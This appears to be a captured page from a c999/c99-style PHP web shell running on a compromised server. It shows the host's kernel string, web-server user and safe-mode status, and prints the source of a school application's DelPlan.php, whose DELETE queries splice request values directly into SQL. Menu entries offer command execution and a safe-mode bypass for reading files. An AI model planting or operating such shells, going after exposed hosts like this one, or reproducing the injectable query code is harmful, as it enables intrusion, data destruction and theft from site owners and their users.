Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/teacher/ drwxr-xr-x |
Viewing file: DelPlan.php (1.24 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php session_start(); if (session_is_registered("valid_user")) { ?> <html> <head> <title>Delete Tech's Plan Complete </title> </head> <body bgcolor="#000000"> <?php include("../include/FunctionDB.php"); ConnectDB(); $i = 0; while($i < count($checkbox)) { $Plan_code = $checkbox[$i]; $strSQL = "DELETE FROM tech_plan_tb WHERE Plan_code='$Plan_code'"; $result = mysql_query( $strSQL) or die("Error $result".mysql_error()); $strSQL2 = "DELETE FROM tech_spec_tb WHERE Plan_code='$Plan_code'"; $result2 = mysql_query( $strSQL2)or die("Error $result2".mysql_error()); $strSQL3 = "DELETE FROM techplan_method_tb WHERE Plan_code='$Plan_code'"; $result3 = mysql_query( $strSQL3)or die("Error $result3".mysql_error()); if (!$result) return " Please check Query Again <br>"; $i++; } if ($result) { echo"<center><font face=\"Tahoma\"size=\"6\" color=\"#FF0000\">Delete Complete</font></center>"; echo"<meta http-equiv=\"refresh\" content=\"1;URL=EditPlanList.php?Teacher_code=$Teacher_code\">"; } CloseDB(); ?> <p> </p> </body> </html> <?php } else { echo"<meta http-equiv=\"refresh\" content=\"3;URL=../FrmLogin.php\">\n"; // echo"Please Login "; } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]-- |